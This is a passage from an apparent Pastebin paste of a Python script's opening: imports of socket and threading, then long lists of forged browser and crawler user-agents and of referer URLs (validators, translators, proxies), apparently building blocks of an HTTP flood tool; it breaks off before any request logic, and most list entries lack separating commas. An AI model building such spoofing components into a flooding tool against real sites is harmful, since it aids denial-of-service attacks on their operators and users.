Advertisement
TP2K1

1.py

May 30th, 2015
1,219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.96 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf8
  3. #Edit and Update by :Tuan_Linh
  4. #May 10th 2015
  5.  
  6. import random
  7. import socket
  8. import threading
  9. import time
  10. userAgents = [
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
  12. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
  13. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
  14. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)"
  15. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)"
  16. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
  17. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3"
  18. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)"
  19. "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
  20. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)"
  21. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E"
  22. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
  23. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
  24. "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15"
  25. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57"
  26. "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413"
  27. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
  28. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)"
  29. "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0"
  30. "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)"
  31. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125"
  32. "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)"
  33. "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413"
  34. "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)"
  35. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
  36. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)"
  37. "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)"
  38. "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)"
  39. "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10"
  40. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4"
  41. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0"
  42. "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10"
  43. "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)"
  44. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
  45. "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)"
  46. "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
  47. "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16"
  48. "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
  49. "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)"
  50. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
  51. "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)"
  52. "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)"
  53. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7"
  54. "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0"
  55. "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)"
  56. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)"
  57. "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)"
  58. "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)"
  59. "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10"
  60. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)"
  61. "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007"
  62. "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179"
  63. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"
  64. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
  65. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)"
  66. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)"
  67. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0"
  68. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16"
  69. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)"
  70. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13"
  71. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)"
  72. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
  73. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
  74. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)"
  75. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
  76. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8"
  77. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7"
  78. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  79. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
  80. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  81. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3"
  82. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
  83. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
  84. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
  85. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
  86. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
  87. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
  88. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)"
  89. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)"
  90. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
  91. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)"
  92. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)"
  93. "Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)"
  94. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
  95. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"
  96. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
  97. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"
  98. "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"
  99. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3"
  100. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)"
  101. "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
  102. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)"
  103. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E"
  104. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
  105. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
  106. "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15"
  107. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57"
  108. "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413"
  109. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
  110. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)"
  111. "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0"
  112. "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)"
  113. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125"
  114. "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)"
  115. "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413"
  116. "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)"
  117. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
  118. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)"
  119. "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)"
  120. "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)"
  121. "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10"
  122. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4"
  123. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0"
  124. "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10"
  125. "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)"
  126. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
  127. "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)"
  128. "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
  129. "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16"
  130. "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
  131. "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)"
  132. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
  133. "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)"
  134. "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)"
  135. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7"
  136. "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0"
  137. "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)"
  138. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)"
  139. "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)"
  140. "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10"
  141. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)"
  142. "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007"
  143. "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179"
  144. "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36"
  145. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36"
  146. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"
  147. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"
  148. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"
  149. "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0"
  150. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0"
  151. "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0"
  152. "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
  153. "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3"
  154. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0"
  155. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0"
  156. "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
  157. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
  158. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)"
  159. "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
  160. "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00"
  161. "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"
  162. "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14"
  163. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14"
  164. "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02"
  165. "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
  166. "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"
  167. "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)"
  168. "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)"
  169. "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
  170. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
  171. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  172. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
  173. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  174. "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
  175. "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
  176. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
  177. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  178. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
  179. "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
  180. "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  181. "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)"
  182. "facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)"
  183. "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
  184. "Mozilla/5.0 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)"
  185. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  186. "Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)"
  187. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
  188. "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
  189. "Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )"
  190. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)",
  191. "Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)"
  192. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)",
  193. "Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/)"
  194. "Mozilla/5.0 (compatible; SEOdiver/1.0; +http://www.seodiver.com/bot)"
  195. "Mozilla/5.0 (compatible; SEOkicks-Robot; +http://www.seokicks.de/robot.html)"
  196. "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
  197. "Mozilla/5.0 (compatible; Mp3Bot/0.7; +http://mp3realm.org/mp3bot/)"
  198. "Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)"
  199. "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
  200. "Mozilla/5.0 (compatible; SecretSerachEngineLabs.com-SBSearch/0.9; http://www.secretsearchenginelabs.com/secret-web-crawler.php)",
  201. "Googlebot-Image/1.0 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  202. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search",
  203. "Mozilla/5.0 (Linux;u;Android 2.3.7;zh-cn;) AppleWebKit/533.1 (KHTML,like Gecko) Version/4.0 Mobile Safari/533.1 (compatible; +http://www.baidu.com/search/spider.html)",
  204. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
  205. "Mozilla/5.0 (compatible; Sosoimagespider/2.0; +http://help.soso.com/soso-image-spider.htm)"
  206. "Sosospider+(+http://help.soso.com/webspider.htm)"
  207. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
  208. "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0"
  209. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html;"
  210. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/1.1; "]
  211.  
  212. reFerers = [
  213. "http://host-tracker.com/check_page/?furl="
  214. "http://jigsaw.w3.org/css-validator/validator?uri="
  215. "http://www.google.com/translate?u="
  216. "http://anonymouse.org/cgi-bin/anon-www.cgi/"
  217. "http://www.onlinewebcheck.com/?url="
  218. "http://feedvalidator.org/check.cgi?url="
  219. "http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL="
  220. "http://www.translate.ru/url/translation.aspx?direction=er&sourceURL="
  221. "http://validator.w3.org/feed/check.cgi?url="
  222. "http://www.pagescoring.com/website-speed-test/?url="
  223. "http://check-host.net/check-http?host="
  224. "http://checksite.us/?url="
  225. "http://jobs.bloomberg.com/search?q="
  226. "http://www.bing.com/search?q="
  227. "https://www.yandex.com/yandsearch?text="
  228. "http://www.google.com/?q="
  229. "https://add.my.yahoo.com/rss?url="
  230. "http://www.bestbuytheater.com/events/search?q="
  231. "http://www.shodanhq.com/search?q="
  232. "https://play.google.com/store/search?q="
  233. "http://coccoc.com/search#query="
  234. "https://w...content-available-to-author-only...m.vn/?gws_rd=ssl#q=",
  235. "http://y...content-available-to-author-only...x.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..",
  236. "http://content-available-to-author-only.com/profile.php?redirect=",
  237. "http://w...content-available-to-author-only...y.com/search/results?q=",
  238. "http://y...content-available-to-author-only...x.ru/yandsearch?text=",
  239. "http://g...content-available-to-author-only...l.ru/search?mail.ru=1&q=",
  240. "http://n...content-available-to-author-only...r.ru/search?=btnG?=%D0?2?%D0?2?%=D0..",
  241. "http://r...content-available-to-author-only...a.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..",
  242. "http://r...content-available-to-author-only...o.com/search;_yzt=?=A7x9Q.bs67zf..",
  243. "http://r...content-available-to-author-only...o.com/search;?_query?=l%t=?=?A7x..",
  244. "http://g...content-available-to-author-only...l.ru/search?gay.ru.query=1&q=?abc.r..",
  245. "http://n...content-available-to-author-only...r.ru/search?btnG=%D0%9D%?D0%B0%D0%B..",
  246. "http://w...content-available-to-author-only...e.ru/url?sa=t&rct=?j&q=&e..",
  247. "http://h...content-available-to-author-only...u.com/searchResult?keywords=",
  248. "http://w...content-available-to-author-only...g.com/search?q=",
  249. "https://w...content-available-to-author-only...x.com/yandsearch?text=",
  250. "https://d...content-available-to-author-only...o.com/?q=",
